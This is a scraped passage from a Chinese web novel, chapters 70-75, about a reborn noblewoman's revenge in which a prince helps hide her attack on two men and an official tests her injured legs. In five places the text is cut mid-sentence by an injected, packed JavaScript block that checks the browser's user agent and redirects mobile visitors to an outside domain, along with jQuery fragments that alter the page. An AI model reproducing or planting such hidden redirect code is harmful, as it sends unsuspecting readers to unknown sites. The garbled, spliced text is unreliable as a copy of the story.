要安抚晏明修,又要抬走温如霜。
定远侯看着眼前的乱糟糟的一幕,心烦不已,转身就走。
此事诸多疑点,他还得再好好调查调查。
*
衔蝉背着包袱回了永安王府,想见王爷。
没想到,却被告知王爷被出关的国师请走了。
第70章 恐怕会杀夫
“永安王到——”
谢翊宁踏入天机殿的大门,便瞧见了站在国师张玄爻身侧的父皇母后。
他随意地冲二人行了一礼:“儿臣参见父皇、母后。”
不等他们开口回应,他就蹿到张玄爻跟前,伸手揪住那绺白须:“国师大人,您可算舍得出关了。哟,您这胡子,养得可真是越来越好了,油光水亮的。”
张玄爻没好气地拍掉他的手:“去去去。你小子一边去,九年不见,怎么还跟小时候一样淘气。”
皇后见他们还在慢悠悠地叙旧,急得不行。
她抓着文昭帝的手变紧,忍不住问道:“国师大人,您先前跟我们说石头的命数有变,死劫已解,可是真的?”
听到这话,谢翊宁神色一凛。
他的死劫,解了?
什么时候的事?
张玄爻甩开被扯歪的胡子,眼底戏谑褪得干干净净。
他严肃地点了点头:“先前我还不确定,但见到这小子,我能肯定了。他的死劫已解。”
“为什么?”谢翊宁脱口而出。
“你是死过一次的人。”他伸出苍老的手指,点在了谢翊宁的心口处。
张玄爻轻飘飘的一句话,让谢翊宁后背的汗**一瞬间就立了起来。
他的脑袋“嗡”一声响,变得一片空白。
国师大人什么都知道。
被他指尖轻轻一点,那日梦中醒来时被一箭穿心的剧痛好像又浮现在了眼前。
一时间,谢翊宁的脸上的血色褪尽如宣纸,冷汗涔涔。
“石头。”皇后瞧见他这副模样,心一下就悬了起来,吓得赶紧上前查探他的情况。
“我没事。”谢翊宁缓过神来,摆了摆手安慰母后。
文昭帝着急地看向张玄爻:“国师此话是何意?什么叫石头是死过一次的人?”
“这小子,命好。”张玄爻轻声笑了。
文昭帝和皇后屏住呼吸,急切地等着他的下一句话,都快喘不过气了。而他还在慢条斯理地整理着被弄乱的胡子。
皇后没忍住,追问道:“怎么个好法?”
“他呀,是遇上贵人了。有人替他挡了这个死劫,给了他一次重活的机会。”张玄爻也没有继续卖关子。
谢翊宁脑海里瞬间就闪过了晏逐星的模样。
难不成,国师大人说的贵人。
是她?
“那我们该去哪里感谢那位贵人?”皇后和文昭帝异口同声地发问。
张玄爻拂尘轻扬,眼尾笑纹里藏着玄机:“远在天边近在眼前,天机不可多言。”
说着退后两步,道袍在风中微动。
他深揖到底,而后起身露出了释怀的笑:“恭贺陛下与娘娘夙愿得偿,贺喜王爷否极泰来。自此劫波尽渡,岁岁长安。”
语毕,他径自踏着青砖飘然离去。
文昭帝和皇后追了上去。
“国师大人留步……”
然而张玄爻只是冲他们挥了挥手,没有回头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616560|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他们知道他去意已决,此番回来只是验证他的猜测,便停下了脚步,没有继续去追。
文昭帝看向了皇后:“国师若是有事告知,自会现身。不必再强留。”
皇后点点头,牵着他的手走到了谢翊宁身边。
这么多年压在她心里的巨石终于落地了。
她笑容满面地问道:“石头,国师大人说的那位贵人,你可有什么线索?”
谢翊宁迟疑了片刻,没想好要不要把晏逐星救了他的事情说出来。
然而他的迟疑,落在皇后眼中就是知情。
皇后变得更兴奋了。
“石头,是谁,你告诉母后,母后要好好感谢人家!”
谢翊宁想到母后先前就想疯狂撮合他和晏逐星,若是真说出来了,她还不得立刻下旨赐婚呀。
万一到时候晏逐星对他没有男女之情,父皇母后赐婚让她嫁给他,依照她的性子,恐怕会做出杀夫的事情。
他想到那个场景,猛地开口:“儿臣不知。但你们也不要乱找人。我已经有了猜测,等确定是谁之后,我就告诉你们。”
“好吧。”皇后有些遗憾地点了点头。
而后她扭头看向了文昭帝,语气满是欢喜:“皇上,既然石头的死劫已过,咱们要不要将这个好消息昭告天下,好好为石头庆贺一番。”
“此事不宜立刻宣扬。”
“母后,不急。”
文昭帝和谢翊宁同时脱口而出。
第71章 又要失望咯
皇后很快也反应过来,她忙不迭点头:“本宫被这好消息冲昏头脑了,听你们的,不要声张。就咱们自家人小小地庆贺一番就好。”
若是这个消息传出去,保不准有心人会拿这件事做文章。
而且现在距离石头的二十岁生辰还有两年多呢。
万一中途又出现什么变故怎么办。
还是等石头及冠后再大肆庆贺为妙。
皇后拉着谢翊宁又问了几遍,见他还是不松口,便让他先行离开了。
谢翊宁一走,皇后就“哼”了一声。
“这臭小子,以为不说本宫就不知道了么。”
文昭帝笑了起来,温柔地替她把歪掉的发钗重新簪好。
“是是是,皇后这般聪慧,有什么能瞒得过你的。”
皇后歪着脑袋看向皇上,也笑了:“国师大人说远在天边近在眼前,那姑娘肯定在京城。甚至是在宫里。”
“不过石头对定远侯府大姑娘那样关注,十有**就是那姑娘了。只是不知道那姑娘究竟是什么时候救的他。”
文昭帝想起了儿子之前说的那个“梦”。
他笑道:“许是在梦中吧。”
*
谢翊宁回了王府,见到衔蝉,便将她叫到了书房。
“怎么忽然回来了?”
“大小姐查出奴婢把侯府里里外外的事情都暗中通报给王爷,便将我送回来了。还给了奴婢百两银票和一支银簪。”衔蝉羞愧地垂下了脑袋。
她将那支簪子交了出来。
谢翊宁把玩着那支簪子:“这是她亲手做的?”
“是。”衔蝉点头。
谢翊宁盯着簪子,想到了国师大人说的“贵人”,脑海里不自觉地就闪过了晏逐星的一颦一笑。
自打确认她在侯府有自保能力后,除了衔蝉,别的探子他都已经撤回来了。
没想到,衔蝉她也不想要。
或许,他应该改变一些想法。
谢翊宁抬头,见衔蝉眼巴巴地盯着那支簪子。
他干脆利落地将簪子收到了怀里。
“待会本王让何嬷嬷拿一匣子簪子让你选,你可以挑支别的。”
衔蝉懂了,王爷是不会把簪子还给她的了。
她只得认命点头:“是。”
谢翊宁看着桌上先前没整理完的醉花楼刺杀一案,心中猛地闪过一个猜测。
他看向衔蝉,开口询问:“昨夜,她可曾出过府?”
谢锦程和晏明修在醉花楼的画舫上**一事,昨夜便传得沸沸扬扬,他自然也已经知晓。
他觉得这事和晏逐星应该脱不了干系。
衔蝉点头。
谢翊宁又问:“她去做什么了?”
“奴婢不知。”衔蝉摇了摇头,随后还是说了实话。
“不过,大小姐傍晚就带着双鲤和九栀出门了,约莫是戌时三刻回来的。”
一旁的停云眼前一亮:“昭瑞亲王府的世孙和侯府的二少爷,似乎是戊正时出的事。从醉花楼到定远侯府,这个时间马车回去正好。”
衔蝉听到这话,皱眉:“大小姐昨夜并未用车。”
“若她要害晏明修,自然不会用侯府的车呀。”停云利落反驳。
“大小姐腿还没好呢,出行要么拄拐要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616561|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么坐轮椅,她怎么可能跑去醉花楼伤人。”衔蝉再次反驳。
“说不定人家腿早就好了,只是防着你呢。”停云认准了这事就是晏逐星所为。
衔蝉被他这么一说,不吭声了。
但抿着唇的样子,很明显是不高兴了。
“你之前是不是说过,她一直有练习射箭?”谢翊宁看向衔蝉。
“是。”衔蝉点头。
“可曾见她用过**箭?”谢翊宁又问。
衔蝉想了想,摇头:“不曾。”
见停云还想要说话,一旁的照夜扯了扯他,示意他别开口,但还是没能拦住他。
停云:“可晏大小姐连有机关的酒壶都会造,打造一把小**对她来说也不算难事吧?”
谢翊宁挑眉看向他:“这么说,你的意思是昨夜放箭射杀谢锦程的是她?”
停云忙拱手回答:“属下只是猜测。毕竟从时间和逻辑上,晏大小姐都是最有可能的那个人。”
“啧,她这样可不行啊。”谢翊宁托着下巴。
停云眼睛唰地亮了,胳膊肘猛怼着照夜腰眼,挑眉使眼色:学着点,他们可是王爷的近卫,就该忠心谏言。
照夜:……
得,白劝了。
让这傻小子自己撞南墙去吧。
他虽然回京城的时间不长,但也清楚王爷对那位大小姐有多偏爱。
怎么停云留在王爷身边时间最长,反倒看不明白呢。
恐怕这一回,他又要失望咯。
停云没搭理他,挺直胸膛看向谢翊宁,朗声询问:“王爷,可要属下将这消息告知昭瑞亲王?”
第72章 被恶女蒙蔽
“告诉他做什么?”谢翊宁轻飘飘地斜了他一眼。
谢锦程整日寻花问柳,听说占了不少妇人的便宜,只是那些妇人都说是自愿的,倒也不能把他怎么样。
如今没了那玩意,以后估计老实多了。
“那王爷的意思是?”停云傻眼了。
“本王的意思是,她和谢锦程无冤无仇,怎么就射中了他那玩意。想必她一开始是打算射伤晏明修的,只是准头不够,射偏了。”谢翊宁一本正经地分析了起来。
“本王琢磨着,是不是该给她找个好一点的骑射教**?下回要射谁,就不会射偏,伤及无辜了。”
“不对,谢锦程那家伙,也不算无辜。”
停云:???
王爷说的这是什么话。
照夜拍了拍他的肩膀。
他早就料到了,事关晏大小姐,王爷怎么可能会检举揭发她,不帮着补刀都算手下留情了。
衔蝉欲言又止。
她想说,大小姐射箭其实射得挺好的。不说百步穿杨,百发百中,但十发至少有八、九发都能正中靶心。
但眼下这个情况,似乎又不太适合开口。
一时间,三人齐刷刷地沉默了。
“照夜,你去醉花楼走一趟,看看京兆府是否遗漏了什么证据。”谢翊宁有条不紊地吩咐了起来。
昨夜之事,也不知道她扫尾扫干净了没。
照夜当即领命:“是。属下若是发现了不利于大小姐的证据,会第一时间毁掉的。”
谢翊宁很满意他的机灵,赞赏地看了他一眼:“不错,办好了回头去傅叔那边领赏,你这个月俸禄翻倍。”
“多谢王爷!”照夜应下,唇角微微上翘。
停云猛地瞪了他一眼。
这小子,怎么这么没骨气!
怎么能为了那点俸禄就让恶女蒙蔽王爷呢。
见他想要张口,照夜生怕他说出什么不中听的话,赶忙勾着他的肩膀,把他拖出书房。
“王爷若是没有别的吩咐,我们就先去办差了。”
“去吧。”谢翊宁点了点头。
书房里只剩下他和衔蝉。
谢翊宁骨节分明的手指轻轻点了点桌子:“你是想留在王府当差,还是继续伺候晏大小姐?”
衔蝉有些犹豫,害怕自己会说错话。
王府虽好,但远没有在大小姐身边自由和舒服,处处都是规矩。
可她是王府嬷嬷一手教养大的,若是就这么选了大小姐,王爷会不会觉得她忘恩负义,是背主之徒。
谢翊宁猜透她心中所想,淡定道:“不必担忧本王责罚,实话实说就好。”
“你若想跟着她,本王不会怪罪你,待会就将你的身契送到她手中。从此你专心当她的人,不必将她的事告知本王。”
有了他这句话,衔蝉忙回答:“奴婢想跟着大小姐。”
“好。”谢翊宁对她的选择并不意外。
“只是,奴婢怕大小姐不愿意再要奴婢。”衔蝉有些不安地低下头。
“无妨,你将本王先前说的话告诉她便好。”谢翊宁说完,又补上了一句话。
“你让她不必想太多,她对本王有救命之恩,这份恩情,足以保她一辈子富贵无忧。今后若有事,可以来王府求助本王。”
“是。”衔蝉高高兴兴地答应了下来。
被拖出书房的停云还想回去谏言,还没走到门槛,就被照夜强行拽了回去。
“你是不是傻,还看不出来王爷对晏大小姐的心思么。”照夜无奈极了。
“你怎能做那种巧言令色,只进谗言的小人。王爷如今被恶女蒙蔽,我们就该多多进言。忠言虽逆耳,终须以诚相待。”停云振振有词。
“你才是小人呢。”照夜没好气地看了他一眼。
“王爷是什么人,你难道不清楚么。他认准了一件事情,很难去改。虽然不知道那位小姐对王爷何时有了救命之恩,但王爷说有,那就是有。”
“咱们做属下的,不要越俎代庖,主子吩咐什么,咱们照做就是了。不能替主子分忧就算了,怎么还净说些主子不爱听的话添堵呢。”
一开始,他也不明白晏大小姐那样品行不端之人,为何王爷对她那般偏爱。
但他深入调查后,发现晏大小姐这几年过得是真的惨。
侯府真千金归来后,她的生活一夕之间从云端跌入泥潭,这样的两重差距,她能活到现在才反击已经是大圣人了。
抱错孩子并非她所愿,怎么能全怪到她头上呢,她还是个孩子呀。
她有什么错。
虽然王爷总说晏大小姐是恩人,但他却很期盼王爷能娶了晏大小姐。
这样有手段的王妃,可比那些娇弱哭啼,事事需要主子操心的强。
没看见晏大小姐很护着手底下的人么。
这种主子,值得追随。
他板着脸看向停云:“你若再这样冲动,之后王爷要罚你,我可不会替你求情。”
被照夜这么一教训,停云觉得自己好像确实有些错得离谱了。
王爷才是主子,哪里轮得到他去替他做主。
“我听你的。”停云彻底老实了。
*
晏逐星正在屋内看书,就听到双鲤欢喜地跑了进来。
“小姐,衔蝉姐姐回来了。”
“哦?”晏逐星放下手里的书,望了过去。
“奴婢给小姐请安。”衔蝉背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623080|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着包袱,冲她行礼。
“可是落下了什么东西?”晏逐星温和地看着她。
衔蝉羞涩一笑,将自己的**契递给了她。
“王爷说,从此以后我就是您的人了。您不必担心我会将您的事透露给王府。”
晏逐星有些惊讶。
她没想到谢翊宁会大方到这个程度,竟然直接把人送给她了。
晏逐星拿着**契没吭声,衔蝉一颗心七上八下的,也不知道她会不会接受自己。
“以后咱们又能一块伺候小姐了?”双鲤兴奋地拉住衔蝉的手,一蹦三尺高。
“还得看小姐怎么说。小姐若不愿意接受我,我就只能回王府去了。”衔蝉一边说一边打量晏逐星的神色。
双鲤顿时紧张地看着晏逐星。
晏逐星被他们的目光逗笑了,她看向衔蝉:“王爷可提了什么条件?”
“不曾。”衔蝉摇了摇头。
“但王爷说您对他有救命之恩,这份恩情,足以保您一辈子富贵无忧。今后若有事,可以去王府求助王爷。”
晏逐星没想到,上辈子那一箭竟然换来了谢翊宁这么深的感激。
这份恩情也太划得来了。
早知道谢翊宁那么大方,她就早早替他挡箭换来重生,早点过好日子了。
想到这,她“噗嗤”一下笑出了声。
她在想什么呢。
哪有这样的好事。
保不准**,就没下辈子了。
她还是好好珍惜如今活着的时光吧。
“那我便多谢王爷割爱了。”晏逐星微微一笑,收下了**契。
“从今往后,你还是我玉澜院的一等丫鬟。”
“是。”衔蝉笑眯眯地应了下来。
只可惜,这高兴的氛围并没能持续太久。
九栀来报:“裴大人来了,想见小姐。”
晏逐星微微蹙眉。
裴明镜登门,一定是来调查晏明修受伤一事。
他难道不该问完晏明修就走么,找她做什么。
难不成昨日她和九栀遗漏了什么?
她看了九栀一眼,九栀轻轻摇头。
昨夜跳河前,她将小姐射出的两根**箭都带走了。
“推我去见裴大人吧。”晏逐星收起笑意,沉声开口。
轮椅发出吱呀吱呀的声音。
裴明镜扭头一看,是丫鬟推着晏逐星来了。
“大小姐,好久不见。”裴明镜扫视着她的双腿,若有所思。
“是啊,好久不见,裴大人。”晏逐星笑着回应,表情上没有任何的紧张和不安。
“不知裴大人寻我何事?”她主动问了起来。
裴明镜放下手中的茶盏,从袖中抖出了一张帖子。
第73章 真正的试探
“阿芜那丫头让我替她送帖子,邀你过府一叙。大小姐若是有空,不如同我一块去家里坐坐。”
裴明镜将描金帖子顺着檀木桌面轻推到晏逐星面前。
晏逐星有些讶异,他寻她竟然是为了帮裴芜递帖子么。
她伸手将帖子推了回去。
“裴大人有所不知,令堂曾放话,有她的地方没我。国公府我是万万不敢再去的。若裴二小姐有事相约,不妨来定远侯府寻我,我定扫榻以待。”
裴明镜没有纠缠,将帖子收回。
他笑道:“家母那只是一时的气话,还请晏大小姐不要放在心上。”
晏逐星笑了笑,没说话。
裴明镜又说回了裴芜。
“不知为何阿芜与大小姐格外投缘,心心念念想见你。昨夜同我出门逛夜市,连糖渍梅子都要买两包,说是要给你留一包。”
说着,他忽然话锋一转:“不知大小姐昨夜去了何处?我与阿芜在金水河附近买吃食时,似乎瞧见了你。”
虽然他之前一直在说裴芜,但晏逐星一直防着他。
听到这话,她暗道一句:果然如此。
裴明镜在给她挖坑呢。
她立刻露出了恰到好处的惊讶:“你们认错人了吧?我昨夜一直待在府里,哪儿都没去。”
“是么?那我怎么看见了贵府的马车?”裴明镜继续试探。
“昨夜我二哥出门了,大人瞧见的许是他的马车。”说到这,晏逐星露出了担忧的表情。
“裴大人,伤我二哥的凶手,你可查到了?”
裴明镜意味深长地看了她一眼。
“正在查。此人十分狡猾,恐怕本官这一回又要无功而返了。”
“满京城谁不知道裴大人您的厉害,您一定能抓到凶手的。”晏逐星露出崇拜的表情。
“那可未必。上回大小姐同夫人从马车坠落一案,本官至今都没有查到真凶。”裴明镜眼里闪过一丝试探,“大小姐不会怪罪本官吧。”
“怎么会!”晏逐星果断否认,眨巴着大眼睛看着他,看起来单纯又无辜。
“裴大人日理万机,手中案子无数,侯府的案子没查到也正常。再说了,坠马大概率只是一场意外。事情已经发生,沉溺于痛苦当中毫无意义。更遑论怪罪不相关的人了。”
“大小姐真是生了一张巧嘴。”裴明镜忽然欺身上前,手搭在了晏逐星的轮椅上。
起身时,他的衣袖将茶盏掀翻,落在了地上,发出一声脆响。
晏逐星见他逼近,下意识地往后仰。
“你的母亲都被害得瘫痪了,我还以为你这个当女儿的会要求本官早日彻查真凶呢。”裴明镜的手掌装若无意地擦过轮椅扶手雕花,黄花梨木轮猛地向后一滑。
“小姐!”双鲤瞧见这一幕,冲了过来,不料绣鞋却踩到裴明镜早先弄翻在地的杯盖,一瞬间滑倒在地,摔了个狗啃泥。
轮椅再往后滑就是门槛,若是被卡住后翻,她势必要被摔飞出去。
晏逐星想要跳下轮椅。
但瞧见裴明镜盯着她双腿的神情,她猛地反应过来,真正的试探在这!
她双手死死抓住了轮椅扶手,露出了惊慌失措的表情,惊叫道:“裴大人,救命。”
就在轮椅后仰的刹那,裴明镜左手擒住了椅背横梁。
他俯身时官帽上的锦缎系带突然扫过晏逐星鼻尖。
他一边说着“大小姐当心。”一边将轮椅重新固定好。
失控的感觉消散,晏逐星在心底长长地舒了一口气。
她咬着唇,恨不得起身踹裴明镜一脚。
明明是他故意推她轮椅的,现在竟然还演上英雄救美了。
但她不能拆穿他。
她只是用惊魂未定的表情看着他:“多谢裴大人出手相救。”
双鲤急急忙忙地爬起来,跑到晏逐星面前仔细检查她有没有受伤,开口的瞬间眼泪夺眶而出:“小姐,您没事吧?吓死奴婢了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623081|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>晏逐星冲她摇了摇头。
一旁的裴明镜若有所思地盯着她的腿。
“本官记得,大小姐只伤了一只腿吧。那么久了,差不多能站起来了吧。先前情况这般危急,为何不直接起身?”
晏逐星眼里浮起一层水汽,随后不甘心地砸了一下自己的腿。
“轮椅坐久了,我竟忘了,还有一只腿是能用的。”
她将掌心按在双鲤的肩头,又气又恼道:“今日起,我便不坐这轮椅了,你扶着本小姐回去。我才不当废人呢。”
双鲤赶忙用身子当做拐棍,将她支撑了起来。
“裴大人,告辞。”晏逐星不想跟他继续试探来试探去了,直接转身一瘸一拐地跟着双鲤往玉澜院走。
裴明镜牢牢地盯着她的腿,直到她的身影消失在视线当中,方才离开侯府。
出了侯府,跟着他的下属郑晗忍不住发问:“大人,您当真觉得晏大小姐是昨夜刺杀谢世孙和晏二少爷的真凶?”
“不知。”裴明镜摇了摇头。
他的直觉告诉他这事和晏逐星脱不了干系。
但没有证据的事情,他不能信口雌黄。
“属下觉得不可能吧。先不说二少爷是她的兄长,就她那双腿,走路都不利索,怎么可能跑到画舫上**。”郑晗分析了起来。
“闲话到此为止。现在去昭瑞亲王府。”裴明镜没有继续谈论晏逐星的话题。
郑晗赶忙闭上了嘴,跟着他一块去王府,继续调查。
此事事关亲王的宝贝孙儿,那可马虎不得。
*
双鲤搀扶着晏逐星回到了玉澜院。
九栀和衔蝉赶忙上前帮忙,把她扶到了床榻上。
“九栀留下给我捏捏腿,衔蝉你好好安慰安慰那丫头,给她吓坏了。”晏逐星找了个借口,将衔蝉和双鲤支走。
屋内只剩下她和九栀。
九栀紧张地询问:“小姐,如何了?可是姓裴的发现什么证据了?”
第74章 无条件帮她
晏逐星摇了摇头。
“他没找到证据,不然今日过来就不是这样试探我,而是直接将我捉拿归案了。”
听到这话,九栀放下心来:“那就好。”
晏逐星眉头依旧紧锁着:“你确定我们没有遗漏任何东西吧?你打晕海棠姑娘时,她有没有看清你的脸?”
九栀仔细回想,随后摇头:“没有落下东西。衣裳也是海棠姑娘要争花魁时穿的,在水里时我几乎都脱光了,没把东西带到岸上。”
晏逐星沉思片刻后,开口道:“嗯。总而言之,咱们只要咬死没出过院子就好。人证物证都没有的话,裴明镜也不能把我们怎么样。”
“好。”九栀点头,随后又看向了门外。
“衔蝉那边?”
晏逐星明白她的意思,皱紧的眉头舒展开:“放心吧,她什么都不会说的。”
衔蝉今日回王府,定然将她昨夜出过院子的事情告诉了谢翊宁。
若谢翊宁要拆穿她,现在昭瑞亲王府的人就该找上门兴师问罪了。
而谢翊宁却把衔蝉的**契交给了她,还让衔蝉转告她,若是遇上了难事可以去王府求助。
摆明了就打算帮她把这事遮掩过去。
不过就算谢翊宁不帮她,她也留好了后招祸水东引。
好在让她试探成功了。
谢翊宁对她的宽容程度远比她想的还要深。
听到她这么说,九栀也就不担心了,专心替她捏腿。
“你也累了,休息一会吧,把衔蝉叫来,我有话要问她。”晏逐星想来想去,总觉得只有那一箭的救命之恩,谢翊宁不该为她做到这个地步。
说到底,他和谢锦程都是皇家人,他为何会无条件地帮她。
没过一会儿,衔蝉就来了。
“小姐寻奴婢何事?”衔蝉规规矩矩地站在一旁。
“今日你回王府,王府有什么特别的事情吗?或者说,王爷在见你之前,做了什么?”晏逐星开门见山询问。
衔蝉不敢迟疑。
毕竟她现在已经是大小姐的人了。
她赶忙道:“没什么特别的。不过,国师大人出关回宫了,将王爷请进了宫里。”
“国师出关了?”晏逐星沉吟不语。
她仔细回想上辈子的事情,似乎直到她战死在沙场上,都没听说过国师出关一事。
如今他忽然出关,是为了什么?
当初就是他断言的谢翊宁活不过二十岁。
想到这,晏逐星心下一动,莫不是国师找到了给谢翊宁续命的法子?
又或者是国师知道了他重生的事情?
那国师会不会也知道她重生的事情了?
晏逐星好不容易放下的心又悬了起来。
她并不想让别人知道她重生的事情。
见她迟迟不语,衔蝉忍不住开口:“小姐,是遇上什么难事了吗,可要奴婢去找王爷?”
“不必。”晏逐星果断拒绝。
“我没遇上什么难事。”
她抬眸瞥了衔蝉一眼:“若是裴大人找你问起昨夜的事。”
衔蝉赶忙道:“昨夜小姐一直在院中休息,我还替您沐发了。您累了,早早就歇下了。”
“嗯。就这么说吧。你找衔蝉和九栀她们说会话去吧。”晏逐星让她也离开了。
她想自己一个人静一静。
她闭上眼眸,在脑海里回想着定远侯府这些人的下场。
温如霜瘫痪,晏明月面容已毁,晏明修也瞎了一只眼睛,之后要他们的命,那可就简单多了。
只需让一些人不停地揭开他们的伤疤,刺激他们,让他们自己不想活就好。
也不会脏了她的手。
他们若迟迟不肯**,那她再帮他们一把。
如今仇人只剩定远侯和晏明远了。
这两人该怎么对付,她得仔细谋划谋划。
*
裴明镜离开定远侯府时,跟着他的停云也回了王府。
照夜负责在醉花楼扫尾,他负责盯裴明镜。
毕竟裴明镜惯会抽丝剥茧的,查案时连耗子洞都掏得干干净净。
万一真让他找到什么不利于晏大小姐的证据,那可就麻烦了。
盯着他,还可以抢先一步将证据抢回。
只是他没想到,没看到什么证据,反倒看到裴明镜试探晏大小姐的场景。
“王爷,属下亲眼瞧见了,裴大人想推翻晏大小姐的轮椅,从而套话。”停云绘声绘色地描述着当时的场景。
谢翊宁眉头微蹙:“裴明镜是不是吃饱了撑的,这样刁难一个小姑娘。”
他有些不高兴了。
晏逐星又不是犯人,凭什么审问她。
再说了,问话就问话,吓唬小姑娘做什么。
真是个没风度的东西。
“备马车,本王要去昭瑞王府。”他冷哼一声,披上狐裘准备出门。
停云一愣:“去探望世孙么?”
“他也配?”谢翊宁嗤笑一声,当做回答。
停云猛地反应过来。
王爷不会是要去找裴大人算账吧?
他顿时对之前叮嘱他的照夜肃然起敬。
还是照夜看得透啊。
王爷偏爱一个人的时候,是不需要理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629872|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
由的。
尤其是那个人还是他的恩人,就更不能受欺负了。
这下,裴大人要遭殃咯。
*
“什么,永安王来了?”谢锦程的父亲谢清安大吃一惊。
谢翊宁只有在父亲六十大寿那年来过他们王府,这一回怎么登门了?
难不成是皇上对锦程受伤一事有什么指示?
他想不明白,赶紧去告知父王。
“这活祖宗来做什么?”昭瑞亲王皱起了眉头,也不清楚谢翊宁此行的目的究竟是什么。
那小子从小受宠,在整个京城几乎可以说是横着走。
就算他是当今皇上唯一在世的伯父,对着那小子他也不敢摆长辈的谱。
毕竟谁都知道他活不过弱冠之年,皇帝偏宠他至极,活脱脱一个易碎的琉璃祖宗。
当年太后刚在皇后请安时挑刺,他立马捂着胸口倒下,嚷嚷着被太后吓着了好像活不了了,惊得太医打翻了药箱。
自那之后,太后稍微针对皇后一点,他就往地上躺,硬生生逼得太后十几年都没去过未央宫。
“不知。”谢清安摇了摇头,也很疑惑。
“罢了,请他进来吧,省得待会晕在王府门口赖上咱家。”昭瑞亲王不情不愿地让人把他请进来。
谢翊宁刚被请进府,裴明镜也问完话打算离开。
二人撞见,裴明镜便依照规矩给谢翊宁行礼:“微臣参见永安王。”
“哟,可真是巧了,竟在王府遇见了裴大人。”谢翊宁笑眯眯地看着他。
裴明镜浅浅一笑,拱手道别就要离开:“下官还有要事在身,先回京兆府了。”
“本王也要去京兆府,不如本王送你一程?”谢翊宁还没踏进王府正厅,就调了个头,走到了裴明镜身边。
“下官有自己的马车,就不劳烦王爷了。”裴明镜客气拒绝。
没想到,话音刚落,车夫就急匆匆地跑了过来。
“大人,车轮不知怎的坏了,恐不能送大人去京兆府了。”
裴明镜收起了笑意,看向谢翊宁,语气淡漠:“看来王爷今日一定要下官去京兆府了?”
“那倒也不是。你若不想坐本王的马车,本王必不会强人所难。”谢翊宁仿佛没听出他话中带刺,眉梢一扬,春水般的笑意在眼底荡开,让人晃花了眼。
他慢悠悠地继续开口:“只是本王一片好意被大人辜负,难免会有些伤心。”
裴明镜听完这话,改了主意。
他想知道谢翊宁为什么非要和他一块去京兆府。
“那就有劳王爷了。”
第75章 故意误导他
“就这么走了?”谢清安一脸懵。
昭瑞亲王看着他离去的背影,反应了过来。
“他是来找裴明镜的。”
“他找裴明镜做什么?”谢清安想不明白。
“管他做什么,横竖影响不到咱们王府。”昭瑞亲王板着脸看着儿子。
“当务之急,是抓到伤害锦程的凶手。还有,定远侯府那边,必须要给咱们一个说法。若不是他家老二招惹了风流债,又怎么会害得锦程出事。”
谢清安一时有些心虚。
若是说风流债,恐怕还是儿子欠的更多。
定远侯府的次子,好像没听说过有什么沾花惹草的习惯。
不过儿子做的那些事,他都替他瞒着了,此事可万万不能让父亲知道。
于是他点了点头:“父王放心,儿子明日就去找他们要说法!”
“锦程那孩子,你多看着点,别让他想不开了。”昭瑞亲王提起小孙子,叹了一口气。
一个大男人变成了废人,这样的打击,一般人都遭受不住。
“若是让我抓到伤害锦程的凶手,我定要将她扒皮抽筋,**万段!”谢清安想到儿子就这样绝了后,气得咬牙切齿。
锦程还未成婚,就被毁了,以后可怎么办呀。
*
裴明镜上了谢翊宁的马车。
上车后,见谢翊宁没有和他说话的意思,他便一言不发地闭目养神。
马车平稳地行驶着。
